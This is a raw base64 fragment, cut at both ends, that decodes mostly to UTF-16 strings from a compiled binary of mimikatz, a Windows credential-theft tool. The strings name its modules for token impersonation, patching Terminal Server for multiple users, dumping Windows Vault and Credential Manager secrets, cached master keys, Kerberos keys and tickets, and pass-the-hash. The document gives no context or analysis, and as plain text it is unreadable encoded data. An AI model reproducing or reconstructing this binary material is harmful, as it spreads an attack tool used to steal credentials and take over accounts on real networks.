GwAZQBlAHAAIABhAG4AIABhAG0AbwB1AG4AdAAgAG8AZgAgAG0AaQBsAGwAaQBzAGUAYwBvAG4AZABzAAAAcwBsAGUAZQBwAAAAAAAAAFAAbABlAGEAcwBlACwAIABtAGEAawBlACAAbQBlACAAYQAgAGMAbwBmAGYAZQBlACEAAAAAAAAAYwBvAGYAZgBlAGUAAAAAAAAAAAAAAAAAQQBuAHMAdwBlAHIAIAB0AG8AIAB0AGgAZQAgAFUAbAB0AGkAbQBhAHQAZQAgAFEAdQBlAHMAdABpAG8AbgAgAG8AZgAgAEwAaQBmAGUALAAgAHQAaABlACAAVQBuAGkAdgBlAHIAcwBlACwAIABhAG4AZAAgAEUAdgBlAHIAeQB0AGgAaQBuAGcAAAAAAAAAYQBuAHMAdwBlAHIAAAAAAEMAbABlAGEAcgAgAHMAYwByAGUAZQBuACAAKABkAG8AZQBzAG4AJwB0ACAAdwBvAHIAawAgAHcAaQB0AGgAIAByAGUAZABpAHIAZQBjAHQAaQBvAG4AcwAsACAAbABpAGsAZQAgAFAAcwBFAHgAZQBjACkAAAAAAGMAbABzAAAAUQB1AGkAdAAgAG0AaQBtAGkAawBhAHQAegAAAAAAAABlAHgAaQB0AAAAAAAAAAAAQgBhAHMAaQBjACAAYwBvAG0AbQBhAG4AZABzACAAKABkAG8AZQBzACAAbgBvAHQAIAByAGUAcQB1AGkAcgBlACAAbQBvAGQAdQBsAGUAIABuAGEAbQBlACkAAAAAAAAAUwB0AGEAbgBkAGEAcgBkACAAbQBvAGQAdQBsAGUAAABzAHQAYQBuAGQAYQByAGQAAAAAAAAAAABCAHkAZQAhAAoAAAAAAAAANAAyAC4ACgAAAAAAAAAAAAAAAAAAAAAACgAgACAAIAAgACgAIAAoAAoAIAAgACAAIAAgACkAIAApAAoAIAAgAC4AXwBfAF8AXwBfAF8ALgAKACAAIAB8ACAAIAAgACAAIAAgAHwAXQAKACAAIABcACAAIAAgACAAIAAgAC8ACgAgACAAIABgAC0ALQAtAC0AJwAKAAAAAABTAGwAZQBlAHAAIAA6ACAAJQB1ACAAbQBzAC4ALgAuACAAAAAAAAAARQBuAGQAIAAhAAoAAAAAAG0AaQBtAGkAawBhAHQAegAuAGwAbwBnAAAAAAAAAAAAVQBzAGkAbgBnACAAJwAlAHMAJwAgAGYAbwByACAAbABvAGcAZgBpAGwAZQAgADoAIAAlAHMACgAAAAAAAAAAAHQAcgB1AGUAAAAAAAAAAABmAGEAbABzAGUAAAAAAAAAaQBzAEIAYQBzAGUANgA0AEkAbgB0AGUAcgBjAGUAcAB0ACAAdwBhAHMAIAAgACAAIAA6ACAAJQBzAAoAAAAAAGkAcwBCAGEAcwBlADYANABJAG4AdABlAHIAYwBlAHAAdAAgAGkAcwAgAG4AbwB3ACAAOgAgACUAcwAKAAAAAAA2ADQAAAAAAAoAbQBpAG0AaQBrAGEAdAB6ACAAMgAuADAAIABhAGwAcABoAGEAIAAoAGEAcgBjAGgAIAB4ADYANAApAAoATgBUACAAIAAgACAAIAAtACAAIABXAGkAbgBkAG8AdwBzACAATgBUACAAJQB1AC4AJQB1ACAAYgB1AGkAbABkACAAJQB1ACAAKABhAHIAYwBoACAAeAAlAHMAKQAKAAAAAABDAHUAcgA6ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHQAYQBuAGQAYQByAGQAXwBjAGQAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AZwBlAHQAQwB1AHIAcgBlAG4AdABEAGkAcgBlAGMAdABvAHIAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAATgBlAHcAOgAgACUAcwAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAdABhAG4AZABhAHIAZABfAGMAZAAgADsAIABTAGUAdABDAHUAcgByAGUAbgB0AEQAaQByAGUAYwB0AG8AcgB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABTAG8AcgByAHkAIAB5AG8AdQAgAGcAdQB5AHMAIABkAG8AbgAnAHQAIABnAGUAdAAgAGkAdAAuAAoAAAAAAAAAVQBuAGsAbgBvAHcAbgAAAEQAZQBsAGUAZwBhAHQAaQBvAG4AAAAAAEkAbQBwAGUAcgBzAG8AbgBhAHQAaQBvAG4AAAAAAAAASQBkAGUAbgB0AGkAZgBpAGMAYQB0AGkAbwBuAAAAAABBAG4AbwBuAHkAbQBvAHUAcwAAAAAAAABSAGUAdgBlAHIAdAAgAHQAbwAgAHAAcgBvAGMAZQBzACAAdABvAGsAZQBuAAAAAAByAGUAdgBlAHIAdAAAAAAASQBtAHAAZQByAHMAbwBuAGEAdABlACAAYQAgAHQAbwBrAGUAbgAAAGUAbABlAHYAYQB0AGUAAABMAGkAcwB0ACAAYQBsAGwAIAB0AG8AawBlAG4AcwAgAG8AZgAgAHQAaABlACAAcwB5AHMAdABlAG0AAAAAAAAARABpAHMAcABsAGEAeQAgAGMAdQByAHIAZQBuAHQAIABpAGQAZQBuAHQAaQB0AHkAAAAAAAAAAAB3AGgAbwBhAG0AaQAAAAAAVABvAGsAZQBuACAAbQBhAG4AaQBwAHUAbABhAHQAaQBvAG4AIABtAG8AZAB1AGwAZQAAAAAAAAB0AG8AawBlAG4AAAAAAAAAIAAqACAAUAByAG8AYwBlAHMAcwAgAFQAbwBrAGUAbgAgADoAIAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwB3AGgAbwBhAG0AaQAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAVABvAGsAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAACAAKgAgAFQAaAByAGUAYQBkACAAVABvAGsAZQBuACAAIAA6ACAAAABuAG8AIAB0AG8AawBlAG4ACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAHcAaABvAGEAbQBpACAAOwAgAE8AcABlAG4AVABoAHIAZQBhAGQAVABvAGsAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAZABvAG0AYQBpAG4AYQBkAG0AaQBuAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlACAAOwAgAGsAdQBsAGwAXwBtAF8AbABvAGMAYQBsAF8AZABvAG0AYQBpAG4AXwB1AHMAZQByAF8AZwBlAHQAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgBTAEkARAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAcwB5AHMAdABlAG0AAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwBsAGkAcwB0AF8AbwByAF8AZQBsAGUAdgBhAHQAZQAgADsAIABOAG8AIAB1AHMAZQByAG4AYQBtAGUAIABhAHYAYQBpAGwAYQBiAGwAZQAgAHcAaABlAG4AIABTAFkAUwBUAEUATQAKAAAAVABvAGsAZQBuACAASQBkACAAIAA6ACAAJQB1AAoAVQBzAGUAcgAgAG4AYQBtAGUAIAA6ACAAJQBzAAoAUwBJAEQAIABuAGEAbQBlACAAIAA6ACAAAAAAACUAcwBcACUAcwAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AbABpAHMAdABfAG8AcgBfAGUAbABlAHYAYQB0AGUAIAA7ACAAawB1AGwAbABfAG0AXwB0AG8AawBlAG4AXwBnAGUAdABOAGEAbQBlAEQAbwBtAGEAaQBuAEYAcgBvAG0AUwBJAEQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwBsAGkAcwB0AF8AbwByAF8AZQBsAGUAdgBhAHQAZQAgADsAIABrAHUAbABsAF8AbQBfAGwAbwBjAGEAbABfAGQAbwBtAGEAaQBuAF8AdQBzAGUAcgBfAEMAcgBlAGEAdABlAFcAZQBsAGwASwBuAG8AdwBuAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwByAGUAdgBlAHIAdAAgADsAIABTAGUAdABUAGgAcgBlAGEAZABUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAACUALQAxADAAdQAJAAAAAAAlAHMAXAAlAHMACQAlAHMAAAAAAAAAAAAJACgAJQAwADIAdQBnACwAJQAwADIAdQBwACkACQAlAHMAAAAAAAAAIAAoACUAcwApAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AbABpAHMAdABfAG8AcgBfAGUAbABlAHYAYQB0AGUAXwBjAGEAbABsAGIAYQBjAGsAIAA7ACAAQwBoAGUAYwBrAFQAbwBrAGUAbgBNAGUAbQBiAGUAcgBzAGgAaQBwACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAlAHUACQAAACAALQA+ACAASQBtAHAAZQByAHMAbwBuAGEAdABlAGQAIAAhAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlAF8AYwBhAGwAbABiAGEAYwBrACAAOwAgAFMAZQB0AFQAaAByAGUAYQBkAFQAbwBrAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABwAGEAdABjAGgAIABUAGUAcgBtAGkAbgBhAGwAIABTAGUAcgB2AGUAcgAgAHMAZQByAHYAaQBjAGUAIAB0AG8AIABhAGwAbABvAHcAIABtAHUAbAB0AGkAcABsAGUAcwAgAHUAcwBlAHIAcwAAAAAAAABtAHUAbAB0AGkAcgBkAHAAAAAAAAAAAABUAGUAcgBtAGkAbgBhAGwAIABTAGUAcgB2AGUAcgAgAG0AbwBkAHUAbABlAAAAAAB0AHMAAAAAAHQAZQByAG0AcwByAHYALgBkAGwAbAAAAFQAZQByAG0AUwBlAHIAdgBpAGMAZQAAAGQAbwBtAGEAaQBuAF8AZQB4AHQAZQBuAGQAZQBkAAAAZwBlAG4AZQByAGkAYwBfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQAAAGQAbwBtAGEAaQBuAF8AdgBpAHMAaQBiAGwAZQBfAHAAYQBzAHMAdwBvAHIAZAAAAGQAbwBtAGEAaQBuAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAAAAAABkAG8AbQBhAGkAbgBfAHAAYQBzAHMAdwBvAHIAZAAAAGcAZQBuAGUAcgBpAGMAAABCAGkAbwBtAGUAdAByAGkAYwAAAAAAAABQAGkAYwB0AHUAcgBlACAAUABhAHMAcwB3AG8AcgBkAAAAAAAAAAAAUABpAG4AIABMAG8AZwBvAG4AAAAAAAAARABvAG0AYQBpAG4AIABFAHgAdABlAG4AZABlAGQAAABEAG8AbQBhAGkAbgAgAEMAZQByAHQAaQBmAGkAYwBhAHQAZQAAAAAARABvAG0AYQBpAG4AIABQAGEAcwBzAHcAbwByAGQAAABjAHIAZQBkAAAAAAAAAAAAVwBpAG4AZABvAHcAcwAgAFYAYQB1AGwAdAAvAEMAcgBlAGQAZQBuAHQAaQBhAGwAIABtAG8AZAB1AGwAZQAAAHYAYQB1AGwAdAAAAAAAAAB2AGEAdQBsAHQAYwBsAGkAAAAAAAAAAABWYXVsdEVudW1lcmF0ZUl0ZW1UeXBlcwBWYXVsdEVudW1lcmF0ZVZhdWx0cwAAAABWYXVsdE9wZW5WYXVsdAAAVmF1bHRHZXRJbmZvcm1hdGlvbgAAAAAAVmF1bHRFbnVtZXJhdGVJdGVtcwAAAAAAVmF1bHRDbG9zZVZhdWx0AFZhdWx0RnJlZQAAAAAAAABWYXVsdEdldEl0ZW0AAAAACgBWAGEAdQBsAHQAIAA6ACAAAAAAAAAACQBJAHQAZQBtAHMAIAAoACUAdQApAAoAAAAAAAAAAAAJACAAJQAyAHUALgAJACUAcwAKAAAAAAAJAAkAVAB5AHAAZQAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAJAAkATABhAHMAdABXAHIAaQB0AHQAZQBuACAAIAAgACAAIAA6ACAAAAAAAAAAAAAJAAkARgBsAGEAZwBzACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAkACQBSAGUAcwBzAG8AdQByAGMAZQAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAAAkACQBJAGQAZQBuAHQAaQB0AHkAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAAAkACQBBAHUAdABoAGUAbgB0AGkAYwBhAHQAbwByACAAIAAgADoAIAAAAAAAAAAAAAkACQBQAHIAbwBwAGUAcgB0AHkAIAAlADIAdQAgACAAIAAgACAAOgAgAAAAAAAAAAkACQAqAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABvAHIAKgAgADoAIAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdAAgADsAIABWAGEAdQBsAHQARwBlAHQASQB0AGUAbQA3ACAAOgAgACUAMAA4AHgAAAAAAAkACQBQAGEAYwBrAGEAZwBlAFMAaQBkACAAIAAgACAAIAAgADoAIAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdAAgADsAIABWAGEAdQBsAHQARwBlAHQASQB0AGUAbQA4ACAAOgAgACUAMAA4AHgAAAAAAAoACQAJACoAKgAqACAAJQBzACAAKgAqACoACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0ACAAOwAgAFYAYQB1AGwAdABFAG4AdQBtAGUAcgBhAHQAZQBWAGEAdQBsAHQAcwAgADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAAAACQAJAFUAcwBlAHIAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAJQBzAFwAJQBzAAAAAAAAAAAAAAAAAAAAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFwATABvAGcAbwBuAFUASQBcAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAAAAAAAAAAAAYgBnAFAAYQB0AGgAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0AF8AZABlAHMAYwBJAHQAZQBtAF8AUABJAE4ATABvAGcAbwBuAE8AcgBQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZABPAHIAQgBpAG8AbQBlAHQAcgBpAGMAIAA7ACAAUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIAAyACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdABfAGQAZQBzAGMASQB0AGUAbQBfAFAASQBOAEwAbwBnAG8AbgBPAHIAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQATwByAEIAaQBvAG0AZQB0AHIAaQBjACAAOwAgAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAMQAgADoAIAAlADAAOAB4AAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAXwBkAGUAcwBjAEkAdABlAG0AXwBQAEkATgBMAG8AZwBvAG4ATwByAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAE8AcgBCAGkAbwBtAGUAdAByAGkAYwAgADsAIABSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgAFMASQBEACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0AF8AZABlAHMAYwBJAHQAZQBtAF8AUABJAE4ATABvAGcAbwBuAE8AcgBQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZABPAHIAQgBpAG8AbQBlAHQAcgBpAGMAIAA7ACAAQwBvAG4AdgBlAHIAdABTAGkAZABUAG8AUwB0AHIAaQBuAGcAUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdABfAGQAZQBzAGMASQB0AGUAbQBfAFAASQBOAEwAbwBnAG8AbgBPAHIAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQATwByAEIAaQBvAG0AZQB0AHIAaQBjACAAOwAgAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAACQAJAFAAYQBzAHMAdwBvAHIAZAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAACQAJAFAASQBOACAAQwBvAGQAZQAgACAAIAAgACAAIAAgACAAOgAgACUAMAA0AGgAdQAKAAAAAAAJAAkAQgBhAGMAawBnAHIAbwB1AG4AZAAgAHAAYQB0AGgAIAA6ACAAJQBzAAoAAAAAAAAAAAAAAAkACQBQAGkAYwB0AHUAcgBlACAAcABhAHMAcwB3AG8AcgBkACAAKABnAHIAaQBkACAAaQBzACAAMQA1ADAAKgAxADAAMAApAAoAAAAAAAAACQAJACAAWwAlAHUAXQAgAAAAAAAAAAAAcABvAGkAbgB0ACAAIAAoAHgAIAA9ACAAJQAzAHUAIAA7ACAAeQAgAD0AIAAlADMAdQApAAAAAABjAGwAbwBjAGsAdwBpAHMAZQAAAAAAAABhAG4AdABpAGMAbABvAGMAawB3AGkAcwBlAAAAAAAAAAAAAAAAAAAAYwBpAHIAYwBsAGUAIAAoAHgAIAA9ACAAJQAzAHUAIAA7ACAAeQAgAD0AIAAlADMAdQAgADsAIAByACAAPQAgACUAMwB1ACkAIAAtACAAJQBzAAAAAAAAAAAAAAAAAAAAbABpAG4AZQAgACAAIAAoAHgAIAA9ACAAJQAzAHUAIAA7ACAAeQAgAD0AIAAlADMAdQApACAALQA+ACAAKAB4ACAAPQAgACUAMwB1ACAAOwAgAHkAIAA9ACAAJQAzAHUAKQAAAAAAAAAlAHUACgAAAAkACQBQAHIAbwBwAGUAcgB0AHkAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAACUALgAqAHMAXAAAAAAAAAAlAC4AKgBzAAAAAAAAAAAAdABvAGQAbwAgAD8ACgAAAAkATgBhAG0AZQAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAAAAAAAB0AGUAbQBwACAAdgBhAHUAbAB0AAAAAAAJAFAAYQB0AGgAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAAAAAJQBoAHUAAAAlAHUAAAAAAFsAVAB5AHAAZQAgACUAdQBdACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AYwByAGUAZAAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGMAcgBlAGQAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAVgBlAHIAeQBCAGEAcwBpAGMATQBvAGQAdQBsAGUASQBuAGYAbwByAG0AYQB0AGkAbwBuAHMARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGMAcgBlAGQAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGMAcgBlAGQAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AZwBlAHQAVQBuAGkAcQB1AGUARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAPwAgACgAdAB5AHAAZQAgAD4AIABDAFIARQBEAF8AVABZAFAARQBfAE0AQQBYAEkATQBVAE0AKQAAAAAAAAAAADwATgBVAEwATAA+AAAAAAAAAAAAAAAAAFQAYQByAGcAZQB0AE4AYQBtAGUAIAA6ACAAJQBzACAALwAgACUAcwAKAFUAcwBlAHIATgBhAG0AZQAgACAAIAA6ACAAJQBzAAoAQwBvAG0AbQBlAG4AdAAgACAAIAAgADoAIAAlAHMACgBUAHkAcABlACAAIAAgACAAIAAgACAAOgAgACUAdQAgAC0AIAAlAHMACgBDAHIAZQBkAGUAbgB0AGkAYQBsACAAOgAgAAAACgAKAAAAAABpAG4AZgBvAHMAAAAAAAAATQBpAG4AZQBTAHcAZQBlAHAAZQByACAAbQBvAGQAdQBsAGUAAAAAAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgAAAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgAuAGUAeABlAAAAAAAAAAAAAABGAGkAZQBsAGQAIAA6ACAAJQB1ACAAcgAgAHgAIAAlAHUAIABjAAoATQBpAG4AZQBzACAAOgAgACUAdQAKAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAE0AZQBtAG8AcgB5ACAAQwAgACgAUgAgAD0AIAAlAHUAKQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABNAGUAbQBvAHIAeQAgAFIACgAAAAAACQAAAAAAAAAlAEMAIAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAAQgBvAGEAcgBkACAAYwBvAHAAeQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAARwBhAG0AZQAgAGMAbwBwAHkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAARwAgAGMAbwBwAHkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAARwBsAG8AYgBhAGwAIABjAG8AcAB5AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAAUwBlAGEAcgBjAGgAIABpAHMAIABLAE8ACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATQBpAG4AZQBzAHcAZQBlAHAAZQByACAATgBUACAASABlAGEAZABlAHIAcwAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABNAGkAbgBlAHMAdwBlAGUAcABlAHIAIABQAEUAQgAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAE4AbwAgAE0AaQBuAGUAUwB3AGUAZQBwAGUAcgAgAGkAbgAgAG0AZQBtAG8AcgB5ACEACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAXwBwAGEAcgBzAGUARgBpAGUAbABkACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAcgBlAGEAZAAgAGUAbABlAG0AZQBuAHQAcwAgAGYAcgBvAG0AIABjAG8AbAB1AG0AbgA6ACAAJQB1AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwBfAHAAYQByAHMAZQBGAGkAZQBsAGQAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIAByAGUAYQBkACAAcgBlAGYAZQByAGUAbgBjAGUAcwAgAGYAcgBvAG0AIABjAG8AbAB1AG0AbgA6ACAAJQB1AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzAF8AcABhAHIAcwBlAEYAaQBlAGwAZAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAHIAZQBhAGQAIAByAGUAZgBlAHIAZQBuAGMAZQBzAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzAF8AcABhAHIAcwBlAEYAaQBlAGwAZAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAHIAZQBhAGQAIABmAGkAcgBzAHQAIABlAGwAZQBtAGUAbgB0AAoAAAAAAAAAbABzAGEAcwByAHYAAAAAAExzYUlDYW5jZWxOb3RpZmljYXRpb24AAExzYUlSZWdpc3Rlck5vdGlmaWNhdGlvbgAAAAAAAAAAYgBjAHIAeQBwAHQAAAAAAEJDcnlwdE9wZW5BbGdvcml0aG1Qcm92aWRlcgAAAAAAQkNyeXB0U2V0UHJvcGVydHkAAAAAAAAAQkNyeXB0R2V0UHJvcGVydHkAAAAAAAAAQkNyeXB0R2VuZXJhdGVTeW1tZXRyaWNLZXkAAAAAAABCQ3J5cHRFbmNyeXB0AAAAQkNyeXB0RGVjcnlwdAAAAEJDcnlwdERlc3Ryb3lLZXkAAAAAAAAAAEJDcnlwdENsb3NlQWxnb3JpdGhtUHJvdmlkZXIAAAAAMwBEAEUAUwAAAAAAAAAAAEMAaABhAGkAbgBpAG4AZwBNAG8AZABlAEMAQgBDAAAAQwBoAGEAaQBuAGkAbgBnAE0AbwBkAGUAAAAAAAAAAABPAGIAagBlAGMAdABMAGUAbgBnAHQAaAAAAAAAAAAAAEEARQBTAAAAQwBoAGEAaQBuAGkAbgBnAE0AbwBkAGUAQwBGAEIAAABDAGEAYwBoAGUAZABVAG4AbABvAGMAawAAAAAAAAAAAEMAYQBjAGgAZQBkAFIAZQBtAG8AdABlAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAAAEMAYQBjAGgAZQBkAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAAAAAAAABSAGUAbQBvAHQAZQBJAG4AdABlAHIAYQBjAHQAaQB2AGUAAAAAAAAATgBlAHcAQwByAGUAZABlAG4AdABpAGEAbABzAAAAAABOAGUAdAB3AG8AcgBrAEMAbABlAGEAcgB0AGUAeAB0AAAAAAAAAAAAVQBuAGwAbwBjAGsAAAAAAFAAcgBvAHgAeQAAAAAAAABTAGUAcgB2AGkAYwBlAAAAQgBhAHQAYwBoAAAAAAAAAE4AZQB0AHcAbwByAGsAAABJAG4AdABlAHIAYQBjAHQAaQB2AGUAAABVAG4AawBuAG8AdwBuACAAIQAAAAAAAABVAG4AZABlAGYAaQBuAGUAZABMAG8AZwBvAG4AVAB5AHAAZQAAAAAATABpAHMAdAAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAE0AYQBuAGEAZwBlAHIAAAAAAAAAAABjAHIAZQBkAG0AYQBuAAAATABpAHMAdAAgAEMAYQBjAGgAZQBkACAATQBhAHMAdABlAHIASwBlAHkAcwAAAAAAZABwAGEAcABpAAAAAAAAAEwAaQBzAHQAIABLAGUAcgBiAGUAcgBvAHMAIABFAG4AYwByAHkAcAB0AGkAbwBuACAASwBlAHkAcwAAAAAAAABlAGsAZQB5AHMAAAAAAAAATABpAHMAdAAgAEsAZQByAGIAZQByAG8AcwAgAHQAaQBjAGsAZQB0AHMAAAAAAAAAdABpAGMAawBlAHQAcwAAAFAAYQBzAHMALQB0AGgAZQAtAGgAYQBzAGgAAAAAAAAAcAB0AGgAAABTAHcAaQB0AG